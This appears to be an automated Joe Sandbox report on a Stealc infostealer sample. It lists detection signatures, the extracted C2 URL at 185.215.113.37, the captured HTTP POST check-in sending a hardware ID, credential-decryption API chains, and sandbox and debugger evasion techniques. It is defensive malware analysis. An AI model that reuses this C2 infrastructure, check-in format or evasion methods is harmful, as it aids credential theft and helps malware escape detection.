Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1520515
MD5:	fb6e05d5c008f119efcdeefe60d6e924
SHA1:	76fca4e5da3cff2eee99634b2f442850000ce47f
SHA256:	b01a2006b9ca98754e6c54ea5940b99dba53720fd9f0b83a4024a7061723f90d
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7656 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FB6E05D5C008F119EFCDEEFE60D6E924)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1448686604.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1400847337.0000000004E20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7656	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7656	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.e10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T12:53:04.908577+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.e10000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00E1C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E19AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00E19AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E17240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00E17240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E19B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00E19B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E28EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00E28EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E238B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00E238B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E24910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E24910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00E1DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00E1E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E24570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00E24570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00E1ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E116D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E116D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E23EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00E23EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E1F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00E1BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E1DE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49705 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEGCGDGHCBFHIDHDAAHost: 185.215.113.37Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 35 30 30 44 33 45 43 43 30 35 38 34 39 32 38 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 2d 2d 0d 0a Data Ascii: ------JJJEGCGDGHCBFHIDHDAAContent-Disposition: form-data; name="hwid"706500D3ECC058492808------JJJEGCGDGHCBFHIDHDAAContent-Disposition: form-data; name="build"save------JJJEGCGDGHCBFHIDHDAA--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E14880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00E14880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEGCGDGHCBFHIDHDAAHost: 185.215.113.37Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 35 30 30 44 33 45 43 43 30 35 38 34 39 32 38 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 2d 2d 0d 0a Data Ascii: ------JJJEGCGDGHCBFHIDHDAAContent-Disposition: form-data; name="hwid"706500D3ECC058492808------JJJEGCGDGHCBFHIDHDAAContent-Disposition: form-data; name="build"save------JJJEGCGDGHCBFHIDHDAA--

Source: file.exe, 00000000.00000002.1448686604.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1448686604.0000000000939000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1448686604.0000000000942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1448686604.0000000000939000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1448686604.0000000000955000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1448686604.0000000000942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1448686604.0000000000939000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php8
Source: file.exe, 00000000.00000002.1448686604.0000000000939000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpT
Source: file.exe, 00000000.00000002.1448686604.0000000000942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpo
Source: file.exe, 00000000.00000002.1448686604.0000000000939000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010BA14D	0_2_010BA14D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944	0_2_011E0944
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E79ED	0_2_011E79ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E4039	0_2_011E4039
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D502C	0_2_011D502C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126E098	0_2_0126E098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0113DBD4	0_2_0113DBD4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D6A30	0_2_011D6A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011ECAC7	0_2_011ECAC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011A251D	0_2_011A251D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D35B9	0_2_011D35B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E5DB5	0_2_011E5DB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010B0DE9	0_2_010B0DE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011DD404	0_2_011DD404
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E245E	0_2_011E245E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D9F77	0_2_011D9F77
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D0608	0_2_011D0608
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01190E95	0_2_01190E95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011DEE87	0_2_011DEE87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0114CEE5	0_2_0114CEE5

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00E145C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: fychohlw ZLIB complexity 0.9948268103513269

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E28680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00E28680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E23720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00E23720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\42DP348H.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1853952 > 1048576

Source: file.exe

Static PE information: Raw size of fychohlw is bigger than: 0x100000 < 0x19e800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.e10000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fychohlw:EW;iljhrjsp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fychohlw:EW;iljhrjsp:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E29860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00E29860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d448f should be: 0x1ce396

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: fychohlw
Source: file.exe	Static PE information: section name: iljhrjsp
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012AD92A push 4CA49574h; mov dword ptr [esp], esp	0_2_012AD9E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012AD92A push eax; mov dword ptr [esp], edx	0_2_012ADA49
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012AD92A push 6560EDE0h; mov dword ptr [esp], esi	0_2_012ADC42
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FE927 push 1D7584A4h; mov dword ptr [esp], esi	0_2_012FE94D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012E116D push 6D2553E1h; mov dword ptr [esp], ecx	0_2_012E11BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010BA14D push 3706B6A1h; mov dword ptr [esp], esi	0_2_010BA252
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010BA14D push 262A28D6h; mov dword ptr [esp], eax	0_2_010BA2A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010BA14D push edx; mov dword ptr [esp], 25A19BA8h	0_2_010BA2BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010BA14D push eax; mov dword ptr [esp], edx	0_2_010BA34B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010BA14D push edx; mov dword ptr [esp], 71AF9F4Eh	0_2_010BA38B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01213979 push ebx; mov dword ptr [esp], edi	0_2_0121398D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01213979 push eax; mov dword ptr [esp], 7B4BA17Ah	0_2_0121399B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01213979 push edx; mov dword ptr [esp], 6F1FECD6h	0_2_012139BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push 704BAC81h; mov dword ptr [esp], edx	0_2_011E095F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push 3DBAA091h; mov dword ptr [esp], edx	0_2_011E0969
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push 67E0AA7Ch; mov dword ptr [esp], ecx	0_2_011E09C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push esi; mov dword ptr [esp], 06263BF7h	0_2_011E0A0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push edi; mov dword ptr [esp], esp	0_2_011E0AE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push 7FB5EC5Bh; mov dword ptr [esp], eax	0_2_011E0B57
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push edx; mov dword ptr [esp], esi	0_2_011E0B83
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push 2A932AC1h; mov dword ptr [esp], ecx	0_2_011E0BE5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push 0B7C37FFh; mov dword ptr [esp], eax	0_2_011E0BFF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push eax; mov dword ptr [esp], ebx	0_2_011E0C0C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push 1950D316h; mov dword ptr [esp], edx	0_2_011E0C53
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push eax; mov dword ptr [esp], esp	0_2_011E0C7A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push edx; mov dword ptr [esp], eax	0_2_011E0C96
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push ecx; mov dword ptr [esp], esi	0_2_011E0DC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push 1C760437h; mov dword ptr [esp], ebp	0_2_011E0DD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push eax; mov dword ptr [esp], esp	0_2_011E0E8F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push edx; mov dword ptr [esp], 0D010565h	0_2_011E0EB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E0944 push 7A266EC4h; mov dword ptr [esp], ebx	0_2_011E0F0A

Source: file.exe

Static PE information: section name: fychohlw entropy: 7.953428588983157

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00E29860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13360

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F23C1 second address: 11F23F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790E17D78h 0x00000007 jmp 00007F0790E17D6Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F23F1 second address: 11F23F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F144A second address: 11F144E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1834 second address: 11F1870 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07913FD82Fh 0x00000007 jmp 00007F07913FD835h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F07913FD830h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1870 second address: 11F1874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F19FE second address: 11F1A02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1A02 second address: 11F1A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007F0790E17D66h 0x00000011 pop eax 0x00000012 jnl 00007F0790E17D6Ch 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1B8A second address: 11F1B8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1B8E second address: 11F1B94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
